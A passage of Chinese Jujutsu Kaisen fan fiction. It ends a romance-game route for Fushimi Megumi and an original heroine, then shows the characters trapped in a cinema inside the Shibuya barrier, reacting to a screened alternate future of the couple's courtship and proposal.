数道礼花筒同时炸开,彩带和亮片漫天飞舞,纷纷扬扬地落在他的头发和肩膀上。虎杖悠仁一个箭步冲上前,大笑着揽住他的肩膀:“生日快乐,伏黑!” 伏黑惠的眼睛微微瞪大,语气无奈中带着掩饰不住的喜悦:“你们真是……” 他的视线落在后面的女生身上,仿佛坠入了一片能将他溺毙的温柔海洋。暖光照在她的身上,连发丝都镀上了一层柔和的滤镜。 伏黑惠不好意思地移开了视线。他的目光扫过众人手里五花八门的礼物盒,嘴角抽了抽:“不是说不用准备吗?” “路过百元店顺手拿的!”钉崎野蔷薇抢先开口,一把将礼盒塞进他怀里。 虎杖悠仁有样学样:“对对,超市打折区抢的!” “买一送一给的。” “扫码赠送的。” “鲑鱼。” 伏黑惠低头看着手中一大堆包装精美的盒子——钉崎的礼物扎着蝴蝶结缎带,虎杖的盒子上甚至印着某知名商场的logo——默默叹了口气。 五条悟吹了声口哨,将礼物盒扔给了自己的学生,顺着他们的话笑嘻嘻地说道:“路边捡的。” 伏黑惠扶额,只能将同学和老师的心意都收下了。 “我该说什么?”今野桃沉吟,“偷的?” “那就不必了!”众人不约而同地说道。 伏黑惠上前一步,脸颊泛着淡淡的红色,认真说道:“你送什么我都很喜欢。” 果然如此。 大家发出了一阵嘘声。 “行了行了,切蛋糕许愿吧。”请小情侣不要在他们面前你侬我侬! “等一下。”今野桃握住了伏黑惠的手,意有所指地说道,“在许愿前,先看看我的礼物吧。” 钉崎野蔷薇疑惑道:“诶,这个蛋糕不是你的礼物吗?” 这个蛋糕一看就是自己手作的呀。 “当然不是。”今野桃对伏黑惠眨了眨眼睛,“可不能浪费小惠的一个愿望。” 浪费愿望?什么意思? 只听今野桃打了个响指,教室门上再次响起了敲击的声音。 伏黑惠回头,看见一个熟悉的身影走了进来。 他猛地睁大了眼睛,身体晃了晃。他做过很多次这样的梦——梦里姐姐对他微笑,两人牵着手走在从家到学校的那条路上。 伏黑津美纪的脸色还有点苍白,长发束在脑后,和从前一样。 “惠。”她轻柔地开口,向他伸出了手,“你长高了。” 就这么简单的一句话,让伏黑惠眼圈泛起了红色。 他的声音沙哑得不成样子:“你真的……睡了好久。” “抱歉。”一滴泪水从眼眶中滑落,盛满的却不是苦涩,而是失而复得的欢欣。津美纪看了看伏黑惠,又看了看旁边含笑注视着弟弟的女 生,“让你们担心了。不过,幸好没有错过小惠的生日。” 伏黑惠回握住恋人的手,仿佛终于抓住了一棵足以拯救他的稻草。 窗外的雪不知道什么时候停了,皎洁的月光挂在天空。窗户被关上,朦胧的雾气在玻璃上晕开,模糊了内外两个世界。 灯光熄灭,生日歌响起。 当万籁俱静时,她开口道:“现在,小惠可以吹蜡烛许愿了。” 伏黑惠的睫毛轻轻颤了一下,像是被突如其来的温暖灼伤了眼睛。 “不管什么愿望,我都会为小惠实现的。” “……好。” 他低头,吹灭了蜡烛。一片黑暗中,他在她的脸颊上落下了一个轻轻的吻。 【伏黑惠好感值:100】 【伏黑惠——彩虹(HE) ——总有一天你会遇到一个彩虹般绚烂的人,当你遇到这个人后,其他人便只是浮云而已了。①】。 【检测到您的充值金额已满足条件,可在后日谈中进行定向选择。】 【本次“后日谈”您希望内容是—— 1.关于过去。 2.关于未来。 3.关于平行世界。】 今野桃:啊?我哪有氪那么多金啊!(猫猫疑惑.jpg) 第140章 漆黑的结界如一只倒扣下来的巨大的碗,把涉谷地铁站严严实实地整个罩住。 赶来支援的京都咒术师们被挡在外面,他们敲击着坚若磐石的结界,却怎么也打不碎。 “联系不到里面的人了。” “手机打不通,通讯器也没有用。” 站在什么都看不见的结界前,众人忧心忡忡。 里面的人……不会有什么事吧?。 里面的人没事。 不仅没事,甚至在看电影。 “哈?这是什么?咒术界团建活动?”偌大的电影院里,每个人/咒灵都有一个属于自己的座位。他们被固定在座位上,哪里都去不了。 就连被封印在狱门疆里的五条悟都有一个位置,恰好就在披着夏油杰皮的羂索后排左侧第二个。 羂索回过头,五条悟笑吟吟地看着他。一滴冷汗从他的额头滑落,他僵硬地转回去,对方浓烈得如有实质的目光仿佛要将他穿透。 他刚刚才对五条悟说过“晚安”,可没想这么快和他再见! 也不知道这个位置是按什么排的,怎么咒术师和咒灵混坐啊!太不讲究了吧! “可恶!放开我!我要杀了它!”钉崎野蔷薇的旁边就有两个咒灵,她握着锤子想要暴起,却怎么也起不来。 “五条老师!”虎杖悠仁发现了五条悟,喜出望外地大喊道,“你没事吧!” “没事哟,悠仁。”五条悟朝着虎杖悠仁挥了挥手,手臂没有伸出去,“坐好,别摔跤了。” 五条悟像是定海神针,立刻就安抚了大家焦躁的内心。 伏黑甚尔翘着脚,不耐地啧了一声。 “这些事情跟我这个已经死掉这么久的人有什么关系。”他嘀咕道,“至于把我从地狱里叫上来吗。” 听到这个似乎有点熟悉的声音,伏黑惠抬头看了看他。 伏黑甚尔敏锐地捕捉到了他的视线,两人隔着不远不近的距离深深地对视了一眼,然后不约而同地移开了目光。 聪明的伏黑惠通过刚刚男人说的那句“不姓禅院吗,太好了”隐隐猜出了男人的身份。 啪。 开关响起,灯光暗了下来。一瞬间场内变得极为安静,连呼吸的声音都听不见。 三秒钟后,一块硕大的屏幕出现在了众人的面前。伴随着一阵电流声,屏幕闪了闪,开始播放起音乐来。 “真的是电影啊。”五条悟换了个舒服的坐姿,漫不经心地将双手背在了脑后,“要演什么?” 可惜手边没有爆米花,感觉缺了点意思。 一分钟的音乐结束,字幕出现—— [2022年,10月22日。] 哇哦,竟然是三年后吗! 画面微微晃动,伴随着轻快的脚步声和窸窸窣窣的调整声。 ‘好了吗好了吗,这个角度可以吗?’少年的声音里带着掩饰不住的兴奋。 虎杖悠仁瞪大了眼睛:“是我的声音诶!” 果然,下一秒,粉发少年那张灿烂的笑脸就凑到了镜头前。他难得地穿着一身剪裁合体的黑色西装,衬得肩膀宽阔,身形挺拔,连平时那股少年气都被压下去几分,多了些成熟的味道。 是毕业典礼吗? 虎杖悠仁猜测道。 ‘别挡住镜头啊!’【钉崎野蔷薇】的声音从画面外传来,紧接着她伸手把虎杖拽开,自己占据了一个小角。她今天也罕见地穿了裙子,酒红色的连衣裙衬得她英气又明艳,手里还捏着一小束花,‘小心被伏黑揍哦。’ ‘嘿嘿,知道了。’【虎杖悠仁】挠挠头,干笑着回答,‘我可不想被伏黑放狗咬。’ 他将摄像头固定住,往后退了几步,让镜头完整地捕捉到了整个场景。 深秋时节,鲜花已经凋谢,只留下树上绿油油的叶子。但为了营造出浪漫的氛围,鲜切的花朵簪满了树枝和草丛,一串一串的星星装饰垂落下来,在阳光下也闪烁着细碎的光芒。 熟悉又有点陌生的景色让屏幕外的许多人认了出来。 “这不是东京高专吗?” “果然是毕业典礼吧,搞得这么隆重。” 窃窃私语中,五条悟笑了起来。他可不认为这是毕业典礼,倒像是…… ‘准备好了吗!’【钉崎野蔷薇】看了一眼手机,大声说道,‘津美纪说她们已经到门口了!’ 津美纪?! 伏黑惠猛地从位置上弹起来,又被强制压下。 “是津美纪吗?”他不可置信地说道,“真的是津美纪?!” 他瞪大了眼睛,望着屏幕里渐渐清晰的人影。 在道路的尽头,两个女生手挽着手走了过来。一个是他不认识的,而另一个……是津美纪,他已经沉睡了快两年的姐姐。 所以说……津美纪以后会醒过来是吗! 太好了! 伏黑惠深深地看着记忆里温柔的姐姐,他都快想不起来她鲜活的模样了。 伏黑津美纪停在了拐角处,轻轻咳了一声,说道:‘小桃,能不能麻烦你把眼睛蒙上?’ 陌生的女生眼中闪过一丝了然,随后点点头:‘好呀。’ 她闭上了眼睛,津美纪用一块白色的蕾丝蒙在了她的眼皮上,然后牵着她的手往前走。 身穿白色西装的【伏黑惠】正手捧鲜花站在她们不远处。 电影院里有人倒吸了一口气。 “我去,是求婚啊!!” 钉崎野蔷薇和虎杖悠仁捂着脑袋发出哀嚎:“怎么回事!这种事情不要啊!” 伏黑惠对此不屑一顾,比起所谓的求婚,他更在意津美纪苏醒。 当三人的手终于交叠在一起,津美纪松开女生的手的同时,【伏黑惠】握住了这个女生。他的动作很轻柔,指尖微微发颤,像是托住了自己最珍贵的宝物。 他用另一只手小心翼翼地解开了蒙眼的蕾丝,随着布料滑落,女生缓缓睁开双眼。她微微仰起脸,秋日的暖阳在她精致的五官上流转,姣好的面容完整地倒映在伏黑惠翡翠般的瞳孔中。 ‘我……’【伏黑惠】的喉结轻轻滚动,平日里冷静自持的声音此刻带着细微的颤抖。那些在深夜里反复练习的告白词突然都哽在喉间,最终化作最简单也最真挚的请求,‘嫁给我好吗,小桃。’ 时间仿佛都停滞了,一瞬间,镜头内外的人都几乎屏住了呼吸,等待着女生的回答。 女生眨了眨眼睛,她的唇角仍然带着日常的弧度,但颤抖的眼睫却泄露了主人动摇的心绪。尽管已经猜到了这一幕即将上演,但幸福真正降临时,她看起来仍然有着难以抑制的激动。 她的唇瓣轻启,缓慢而坚定地回道:‘好。’ 砰! 礼花漫天飞舞,天空一道身影飞过,是京都校的【西宫桃】。她向下挥洒着如雨的花瓣,为这重要的时刻增光添彩。 向来一副酷哥表情的【伏黑惠】此时显然已经克制不住心中的喜悦,他用力地抱住了面前的女生,看起来刺挠其实柔软的头发蹭着她的脖颈,让她不自觉地跟着笑了起来。 “呜呜呜好浪漫啊……”东京校的学生们有的忍不住抹起了眼泪,“没想到最早结婚的竟然是伏黑!” “不过你们有人见过那个女生吗?” “没有诶……” 大家面面相觑,都表示没有见过那个女生。她是从哪里冒出来的? 原本躲在边上的老师学生们都走了出来,他们也在为求婚成功的【伏黑惠】高兴不已,纷纷鼓掌。 ‘真好,恭喜你,惠。’看起来又老了一些的【夜蛾正道】轻轻拍手。 似乎没什么变化的【五条悟】拿着一个话筒,非常积极地举了起来:‘好了 ,接下来是采访环节!’ ‘没错没错!’屏幕里,熊猫作为主持人接话道,‘首先是第一个大家最关心的问题!请问——你们是谁告白的?’ 【伏黑惠】的脸颊还因为兴奋而泛着淡淡的红色,他的呼吸有点急促,好半天没能组织起语言。 ‘我知道我知道!’虎杖悠仁为好兄弟解围,‘是今野一见钟情!我、钉崎和五条老师都亲眼目睹啦!’ 哇哦—— 这是很多人没想到的。 “什么啊,竟然让女生告白,好逊哦伏黑。” 【伏黑惠】脸色更红,眼神也有点飘忽。在众人揶揄的目光下,他矜持地点头:‘是。不过……我很快也喜欢上了小桃。’ 后半句音量低了许多,显然是在不好意思。 随着他的话语落下,屏幕里画面变幻,出现了他们第一次见面的场景。樱花树下,问路的漂亮女生、礼貌清俊的男生美得像是一幅画,奈何很快就被闯入片场的捣乱小组破坏。 看着他们三个把【伏黑惠】扛起来跑,距离女生越来越遥远,大家不约而同地笑了起来。 “哈哈哈哈……是五条老师会做出来的事情呢!” 他们的笑声还没消散,画面又是一转。 装潢考究的屋子里,女生的食指和中指夹着伏黑惠的照片,微一转动,将男生的脸亮出来给对面的人看。 她淡淡地开口道:‘去吧,我要他尽可能详细的资料,越快越好。’ 对面的下属们恭敬地低头,问道:‘大人是要以他为切入点,介入咒术界吗?’ ‘别问太多。’女生冷冷开口道,‘这不是你们该管的事情。’ 下属们的脑袋垂得越发地低了,呐呐不敢回答。 女生缓和了一下情绪,将照片放在桌上,说道:‘总之,我有我的安排。咒术界和表世界分隔这么多年,也该被纳入我们的管理之中了。’ 下属信服地回道:‘是!’ 屏幕前的众人:……啊? 不是,说好的纯爱呢?切错频道了吧?! 140-150 第141章 “是阴谋啊!可恶!竟然欺骗伏黑的感情!” “啊啊啊怎么会这样!伏黑也太可怜了吧!” 咒术师们都为可怜的伏黑惠打抱不平起来。唯美浪漫的求婚现场和女生冷酷命令下属的画面形成了鲜明的对比,非常具有割裂感。 伏黑惠本人倒是非常镇定,甚至开口道:“很明显这才对吧,一见钟情什么的,听起来就非常不可靠。” 话是这样说,但…… “被我找到她,一定要给玩弄纯情少年的坏人一点厉害瞧瞧!”熊猫刚刚还在为自己主持了伏黑惠的求婚现场而沾沾自喜,现在一道惊雷劈下来,把它的心都劈碎了。 屏幕里,下属们还在吹嘘着上司精妙的计划和高超的智慧,忽然,女生表情变了变。 ‘大人,有什么事吗?’下属小心地问道。 ‘没什么。’女生轻描淡写地回答,站了起来,‘你们按我说的去做就行了,别的不必多事。’ ‘是。’他们恭敬地俯身,看着女生从窗户口翻了出去。 有什么事情……这么着急? 镜头跟着女生一路疾驰,蒙蒙细雨落下,打在她的身上。大屏幕捕捉到了她的神色,那张极美的脸蛋就算放大了看也毫无瑕疵。她的眉头微微皱起,明显心情不佳。 这是去做什么啊? 随着景物变幻,伏黑惠脱口而出:“是少年院!” 他记得非常清楚,他就是在这里,失去了自己的一只玉犬,虎杖也失去了一次心脏。他们可谓是全输。 虎杖悠仁摸了摸自己的心口位置,又抬起了曾经被切断又被两面宿傩用反转术式治好的手臂,那里仿佛还能感受到强烈的疼痛。 能够忍受痛苦,不代表不会觉得痛啊。 唰—— 女生的速度极快,当镜头拉远时,能够发现她像是一道闪电,穿梭在建筑之中。 即便如此,当她赶到少年院时,仍然被挡在了咒灵的生得领域之外。 “啊……”钉崎野蔷薇发出了一声失望的叹息。她在想什么,竟然希望那个时候会有人来救他们吗? 这可是特级咒灵的生得领域,不是随随便便就能破解的。最简单的方式就是使用特殊咒具,或者特殊术式。 这个女生,她有吗? 显然,空手而来的女生并未携带什么咒具。她摸了摸漆黑的结界,一脸沉吟。 “哈哈,她难道想要暴力破解领域吗?除非攻击强度远超领域所能承受的阈值,或者咒力总量碾压施术者,否则绝无可能。” 有人不屑地瞥了一眼屏幕里女生纤细的手腕,高高在上地点评道。 也是,或许也只有五条悟能够做到吧…… 咚! 女生抬手,朝领域上猛地砸了一拳。 领域纹丝不动。 噗嗤。 电影院里隐约传来笑声。 仿佛探测出了领域的强度,她深吸了一口气,沉下眼眸,蓝色的咒力凝聚在她的拳头上,这一击,石破天惊! 女生硬生生地将特级咒灵的生得领域撕开了一道裂缝,从裂缝中,大家看见三个无措的身影。 “真的是我们啊!”虎杖悠仁感慨道。 “小心!”钉崎野蔷薇惊呼出声,画面中,三人的背后,蓝色的咒灵不知道什么时候出现了。 它轻飘飘地看了一眼正要张嘴的白玉犬,露出戏谑的笑容。 伏黑惠失声喊道:“不要!” 白玉犬惨死的模样深深地刻在他的脑海中,让他永远无法忘记。 咒灵只是一击就让玉犬丧失了行动力,它掐着式神的脖子拎起来,下一秒就要将它重重锤进墙壁。 伏黑惠咬着牙,眼眶发酸,已经不敢再看了。 在这千钧一发之际,她穿过了裂缝,如锁定猎物的鹰隼,速度快得在空中闪过一道残影。 她纤弱的手臂抓住了特级咒灵的手,看似轻飘飘地没什么用,却让它纹丝不动地钉在了地上。 ‘没事吧?’女生暗暗松了一口气,对三人笑道,‘抱歉,好像有点晚。’ 之前的笑声已经完全消失不见,取而代之的是凝重和审视。 “能徒手撕开特级咒灵的领域?”五条悟放下了脑后的手臂,神色端正了不少,“表世界什么时候出了这样一号人物?” 他怎么一点风声都没听到,藏得可真严实啊! 不过,她为什么现在就出现在伏黑惠他们的面前?如果想要谋算什么,隐藏在幕后不是更好吗? 她的计划到底是什么? 就在五条悟沉思的时候,女生动了。 她从口袋里取出了一张纸条,递给了【伏黑惠】。【伏黑惠】的表情是茫然的,还带着几分谨慎。 女生的笑容温柔又亲切,和之前在樱花树下问路时的画面重叠在了一起。 ‘思来想去许久,还是忍不住跟了上来。这是我的联系方式,请收下。’ 屏幕内外陷入了相似的沉默中。 “纯爱!”五条悟一拍扶手,大声说道,“这就是纯爱啊!” “胡说八道!”禅院直毘人立刻回骂道,“这明显就是阴谋!说不定对方就是想要借救命之恩打入咒术界!” “没错没错!而且小孩子很好骗啊,你看,伏黑惠这不就接过去了纸条吗?” “就是,必须提高警惕,这绝对是她的阴谋!” “啧。”五条悟不耐烦地抱着手臂靠在椅背上,小声嘟囔道,“无趣的烂橘子……” 直到这里,他们才终于从女生的自我介绍中得知了她的名字。 ‘我叫今野桃,你可以叫我小桃。’所有人都将这个名字记在了心里。 等结束……他们一定要把这个女生找出来! 伏黑惠抿着嘴看着女生和屏幕里的自己交谈,他原本平静如深潭的心绪,此刻却像是被投入了一颗小石子,泛起一圈圈细微的涟漪。 倘若这样的世界真的存在 ,那么他由衷地感谢她。感谢她毫不犹豫地伸出援手,感谢她拯救了玉犬,感谢她护住了他的同伴们,甚至有可能津美纪都是因她而活过来。 至于她是不是别有用心…… 那又有什么关系呢。这个世界本就没有无缘无故的善意,就像天上永远不会平白落下馅饼。 伏黑惠的脑海中闪过最初屏幕里求婚的画面—— 那个他,看起来很幸福。 所以,利用也没关系,这说明至少他身上还有足以用来交换的价值。 画面中,女生要和他们分开了。她对【伏黑惠】眨了眨眼睛,笑容甜甜的。 ‘如果之后惠愿意请我喝杯奶茶,那就更好不过了。’ 【伏黑惠】微微低头,避开了她的视线,小声回答:‘嗯,回去我请你喝奶茶。’ 一杯奶茶换一只特级咒灵,他们赚翻了好吗! “这种利用我也想要诶。”五条悟笑嘻嘻地说道,“奶茶换特级咒灵的活动还有吗?我无上限换。” 禅院直毘人的眼角抽了抽,还在嘴硬:“不过是开始的一点甜头罢了,很快她就会原形毕露的。” 五条悟也不和他们争,只是原本紧绷的表情忽然放松了许多。 哎呀呀,老头子是无法领会年轻人的美好感情的,还是趁早入土吧。 女生离开后,【伏黑惠】认认真真地将纸条叠好,收进怀里。他的眼神有点飘忽,白皙的肌肤上浮现出不知道是紧张还是兴奋的淡淡红晕。 伏黑惠的睫毛颤了颤,在这个异世界的同位体上看出了几分蹊跷。 可惜镜头没有落在少年身上——也幸好没有继续落在他的身上,伏黑惠担心再多几秒钟,那些过于敏锐的人就要发现什么了。 比如…… “哇,伏黑,你是不是……” “闭嘴!”他恶声恶气地阻止了多话的同期。 他的心中对于那个自己生出了一点羞怒。 知道你说过“很快就喜欢上了小桃”,但这个“很快”也未免太快了吧! 第142章 勤勤恳恳干活的下属很快就带来了【伏黑惠】的资料,关于他的身世背景、甚至连术式都打听清楚了。 几页纸上密密麻麻地都是他的生平,被她一行一行细细地读过去。 “简直被扒得底朝天啊。”熊猫感慨,“这样真的有胜算吗?” “可以预料到伏黑一败涂地的模样了。”禅院真希推了推眼镜说道。 “被骗着求婚的时候就已经算是输得彻底了吧。”钉崎野蔷薇不满地啧了一声。 可惜,这样详尽的资料好像仍然不能让她满意。反复翻阅数遍后,她将文件随手扔在桌上,抬眸望向战战兢兢的下属。 ‘就这些吗?’ 下属困惑地抬起头,小心翼翼地试探:‘大人还需要什么?’ 指尖有节奏地敲击着桌面,她语气淡淡地问道:‘他的喜好呢?’ ‘……诶?’下属一时语塞,‘喜好?’ ‘对啊。’女生理直气壮地说道,‘他喜欢什么口味、偏爱什么颜色……这些都得调查得清清楚楚吧。’ ‘……’ “……” 屏幕内外再一次同时陷入诡异的沉默,下属呆滞的表情与观众们如出一辙。 “这个调查……是正经的调查吗?” “谁知道呢。” 可惜观众可以随意吐槽,下属却不敢质疑上司。他们忙不迭地点头哈腰:‘是、是,我们马上就去。一定会将他查得事无巨细。’ ‘嗯。’女生可有可无地颔首。 她的威信似乎很重,下属观察着她的表情,见她面色稍霁,才壮着胆子继续汇报:‘大人,我们的重点观察目标也出现了。’ ‘哦?’女生饶有兴趣地扬起了眉毛,‘他在哪?’ ‘就在涉谷。’下属回道,‘监控显示他身着袈裟独自在街头游荡,这是他这段时间的行动轨迹。’ 他呈上来一沓照片,镜头拉近,照片上的身影清晰可见。 “是夏油杰!” “竟然早就被摄像头拍到了吗,我们都不知道……” “可恶!表世界的人竟然瞒得这么深!这么重要的情报居然都不告诉我们!” 照片中,额带缝合线的男人正笑眯眯地悠闲漫步,浑然不觉自己已暴露在监控之下。 坐在五条悟前面的羂索身上冒出了冷汗,他一边承受着后面尖锐的视线,一边疯狂地在大脑中回想。 幸好啊!幸好表世界的人没有将情报分享给咒术界,不然他的行动绝对会失败! 是他大意了,这几年科技发展速度太快,他忽略了这一至关重要的细节! 羂索眯了眯眼睛,嘴角微微上扬。 不过,命运终究是站在他这边的。虽历经波折,但最终计划还是如愿以偿。 女生漫不经心地将照片拿起来扫了一眼,短促地笑了一声:‘这你可说错了,他不一定是“一个人”。’ 摄像头拍不到咒灵,这也是为什么这么多年表世界的人无法观测到咒灵存在。他们就像是站在一扇新世界的大门门口,却无法找到开门的钥匙。 好在,他们有了一位引路人。 ‘继续盯着他。’女生垂着眼睑,神色中满是运筹帷幄的自信与轻松,‘当我需要时,我要能立刻得到他的位置,明白吗?’ ‘是,大人!’ 停顿了一下,女生又开口道:‘这个男人非常危险,如果你们被发现或者暴露了,立刻撤离,不要纠缠。’ ‘是。’下属肃然应声,‘大人是要和他合作吗?’ “合作?”女生嗤笑一声,轻蔑地将男人的照片弹开,‘不需要。你听过一个词语吗——螳螂捕蝉,黄雀在后。’ 作为合作者,她并不介意将自己的计划说给他们听,只要他们听话。 ‘五条悟是咒术界的顶梁柱,但同时他也有太多的敌人。我们不需要出手,只需要作壁上观,他们自己就会乱起来。等到五条悟消失,实力强大的咒术师和厉害的咒灵同归于尽,就是我们入局收割战利品的时候。’ 女生抬眼,那双清凌凌的黑眸中盛满了冰冷的野心。 ‘明白了吗?’ ‘明白了!’下属兴奋地回道。 ——叮。 就在他们说话时,忽然有一声铃响。 下属浑身一紧,才发现不是自己的手机,是上司的。 女生打开手机,跳出了一条短信。 [我下课了。] 然后是一张玉犬打滚的图片。 发信人是…… 【软绵绵超可爱的咩咩噗酱!】 高专众人:“……?” 钉崎野蔷薇:“……这谁?” 熊猫:“……伏黑?” 狗卷棘:“金枪鱼蛋黄酱!” 禅院真希忍不住又推了推眼镜,镜片寒光一闪:“……这备注,认真的?” ——伏黑?软绵绵?超可爱?咩咩噗酱?? 这哪一点和伏黑惠沾边了啊?! “原来……”虎杖悠仁震撼道,“伏黑谈恋爱后,是这种画风?” 酷哥人设崩塌得也太彻底了吧! 不,等等,真正崩坏的,难道不是这位幕后黑手小姐吗?! 上一秒还在运筹帷幄、野心勃勃地谋划大局,下一秒就对着手机敲出—— [辛苦啦,我也马上结束咯。(爱心)] [你还需要什么资料吗,我一起带给你。] [多谢啦,不过这些就先够用了,正好我今天也没有社团活动呢,等下还可以一起吃饭!惠有什么喜欢和不喜欢吃的东西吗?] [没有,我都可以的,你就挑选你喜欢的餐厅好了。] “哇,我请客真的很害怕这种人。”钉崎野蔷薇撇撇嘴,隔着几个咒灵对禅院真希说道,“完全不知道该吃什么了。” “确实。”禅院真希很赞同她的观点,一道亮光自镜片上闪过,她意味深长地说道,“不过你没发现吗,说好的只是请喝奶茶,怎么这么自然地就约好吃饭去了。” 真是毫无自觉地就走进了别 人的网中啊伏黑! 一点警惕心都没有! 作为父亲的伏黑甚尔啧啧说道:“勾勾手指就走了,没用。” 坐在中间的伏黑惠屁股上像是长了钉子,脊背挺得笔直,不知道该做出什么样的动作。 僵硬。 如坐针毡。 灵魂出窍。 最后——安详.jpg 感觉自己又得到了升华呢(双手合十)。 索性画面不会暂停,大家的注意力很快就被吸引走了。 没错没错,不要关注他!多关注关注咒术界的未来啊! 伏黑惠悄悄松了一口气。 椅子和地面发出了刺耳的摩擦声,女生站了起来,瞥了一眼下属后开口道:‘行了,抓紧时间去调查,五点钟之前,我要得到他剩下的情报,明白吗?’ ‘是,大人!’ 五点钟,晚了就赶不上吃饭了是吧。 五条悟一点没有自己被算计了的恼怒,在那里噗嗤噗嗤地笑个不停,还做出了看电影的人最讨厌的举动—— 他把手机举了起来,咔嚓咔嚓地拍照。 “一定要留下纪念呢!”尤其是那个备注! 伏黑惠抹了一把脸,目光深沉。 得想个办法把五条老师的手机偷走了! 他还不知道,后面还有让他更加社死的画面。 比如…… 【发现女生化了妆后看呆了的伏黑惠.jpg】 【目光紧紧盯着女生嘴唇的伏黑惠.jpg】 【被告白后耳朵和脸颊红红的伏黑惠,jpg】 听见周围响起的拍照声、感觉到闪光灯一下一下地亮起,伏黑惠闭上了眼睛。 这电影,他真是一秒钟都看不下去了! 可惜,画面看不见,声音却仿佛放大了一般出现在他的耳边。 ‘我说呀,我对惠一见钟情。’怎么会有人的声音软得比棉花糖还要甜,黏糊糊得要把他困在网上无法挣脱,‘所以,能和我交往吗?’ “噢噢——!” 大家发出了欢呼声。 伏黑惠两只手捂着脸,弯腰把脑袋埋进了膝盖,像是鸵鸟一样无声呐喊。 你们到底在热血个什么劲啊!! 第143章 试图挖坑将自己埋起来——失败——若无其事地抬头——面无表情地装作酷哥—— 伏黑惠仿佛只剩下了一具躯壳,留在了电影院的座椅上。 毁灭吧,这个世界。 或者把他流放到外太空,这辈子都不想再回到地球了。 屏幕内外仿佛是两个世界,外貌一模一样的男生表情却是完全不同的。一个面色淡然,一个眼角眉梢都是笑意。 【他】自己不觉得,但屏幕外的观众看得一清二楚。 那双绿色的眸子里荡漾着春水,恨不得将女生整个淹没。 都拒绝了告白,就不要搞得好像已经在一起了似的啊! 他们看着【伏黑惠】以为这个女生是游荡于咒术界外的野生咒术师,问着天真好笑的问题: ‘一直和普通人待在一起,能看见别人看不见的东西,不会觉得害怕或者好奇吗?’ 女生单手支着下巴,朝他眨了眨眼睛,轻笑一声:‘或许最开始有一点吧,但对我并没有什么影响。’ 那当然,她后面可是有着一整个机构为她服务,怎么可能会怕呢。 有人心中暗想,对那份势力垂涎不已。如果是他们的话,说不定…… 但【伏黑惠】想到了另一个方面,他垂眸问道:‘是因为……你很强吗?’ ‘不全是这个吧。’女生动作优雅地抽出了纸巾,漫不经心地擦了擦嘴,‘如果这个世界是一个巨大的游戏场,那我就是独一无二的主角。主角的话,跟其他人不一样不是很正常吗?拯救世界、维护世界和平,不过都是主角的日常任务罢了。’ 一瞬间,女生的轮廓和他们脑海中的某个最强重合了。 “狂……妄!”从牙缝里挤出了这个词,那些上了年纪的咒术师们纷纷破口大骂,像是被戳中了某个痛点,“她真是太狂妄了!” 决不能让她进入咒术界,不然岂不是第二个五条悟! 但这种事情……他们阻止得了吗?过去他们阻拦不了五条悟,未来也完全无法指挥这个叫今野桃的女生。 她比五条悟更不讲理,也更随心所欲。 她有着完全独立且坚韧的内心,是无法摧折的大树。 她允许菟丝子攀附到她的身上,愿意成为他的倚靠。 她垂落枝叶,将他纳入保护范围,从此替他遮蔽风雨。 伏黑惠清楚地看见,【他】的眼神如【他】的内心那样震颤着。 走出奶茶店,雨伞像花朵一样绽放开来,伞面压低,两人紧紧挨在一起,他的呼吸比空气更加潮湿,偶尔风吹过的时候,撑伞的手臂会不受控制地朝着女生那边倒过去。 一两次后,女生抬手,掌心覆盖住了他的手背,帮他将伞扶正。两只手交叠在一起,亲密又暧昧。 放在一般人身上,确实是再正常不过的画面,但是…… “该好好考虑一下给伏黑的推荐了。”东堂葵一拍大腿,对【伏黑惠】指指点点道,“堂堂准一级咒术师,怎么能连把伞都拿不稳!” 虎杖悠仁吵吵闹闹地附和:“没错!必须再练练!” 五条悟翻开着手机里的照片,遗憾摇头:“太逊了,小惠,人家女生都告白了,你还傻愣愣的样子。” 幸好求婚是他主动的,不然岂不是要被嘲笑一辈子? 伏黑惠懒得搭理他们。 接话了只会让他们越来越起劲,甚至被以为是在害羞。 那真是太糟糕了。 屏幕中,两人的晚餐吃得很开心,那份极尽详细的资料没白看,每一道菜都很符合【伏黑惠】的胃口。更微妙的是,因为态度太过自然,【伏黑惠】完全没有意识到自己被照顾了,好像还特别高兴两人的口味似乎很合得来。 邻近分别,女生将【伏黑惠】送到了公交车站。 夜色浓郁,街灯一盏盏地亮起,在人迹逐渐减少的道路上投下了昏黄的光晕。偶尔有车灯扫过,映出空气中飘散的细密雨丝。 他们没有打伞,挤在狭窄的站台上,肩膀挨得很近,却又没有真正靠在一起。 【伏黑惠】的手虚虚地撑在光滑的广告牌上,距离她的衣服只有不到两公分的距离。 她比他稍稍矮一点,站在她身后的【伏黑惠】可以借着这一点点的身高优势,不被察觉地注视着她。 远远地,公交车发动机的声音似有若无地传过来。 ‘车子要来了。’她轻声说道。 【伏黑惠】低低地‘嗯’了一声,目光却仍然黏在她的脸上。 因为太过专注,当女生抬起头时,轻而易举地就捕捉到了他仓皇的视线。 ‘下次见?’ ‘啊……下次见。’他的声音发涩,带着不自知的不舍,尾音在夜风中飘散。 公交车越来越近了,在驶入站台后缓缓停下,门嘎吱一声打开。 ‘小惠。’她突然开口道,‘既然是朋友,那临走时可以给我一个拥抱吗?’ 【伏黑惠】惊讶地看向她,女生大大方方地张开了手臂。 【伏黑惠】的耳尖瞬间泛起薄红,手指无意识地蜷缩了一下。 但他没有拒绝。 啊……之前已经拒绝了一次,再拒绝第二次,会不会不太好呢? 他迟疑地向前半步,动作僵硬得像是在执行一项艰巨的任务。女生却已经主动靠了过来,发丝间淡淡的洗发水香气萦绕在他鼻尖。 他的手臂小心翼翼地环住她的肩膀,掌心悬在她背后,不敢真正落下。可下一秒,她却用力地抱住了他,脸颊贴在他胸口,隔着制服传来温热的触感。他的心跳声震耳欲聋,仿佛要冲破胸膛。 ‘路上小心。’女生在他恍惚的时候松开了手,后退两步。 司机不耐烦的喇叭声将他惊醒,【伏黑惠】仓皇地点点头,转 身快步地踏上了台阶。回头时,她还站在原地,嘴角衔着温柔的笑意望着他。 公交车再次发动,载着一个神思不属的男生越来越远。 钉崎野蔷薇握着拳头,当做话筒举起来,对不远处的虎杖悠仁问道:“你好,请问你是伏黑惠的朋友吗?” 虎杖悠仁连忙摆手:“不敢不敢,我可不敢是伏黑的朋友!” 钉崎野蔷薇的话筒又递向了禅院真希:“你好,请问你是伏黑惠的朋友吗?” 禅院真希露出了嫌弃的模样:“我才不是!” “那你呢?” “木鱼花!!” 伏黑惠的嘴角抽了抽。 屏幕里,女生的手指抚过【伏黑惠】精心整理出来的资料,他在重点内容上都做了标注,尤其是考虑到女生可能在常识上的欠缺,还贴心地给资料分了类。 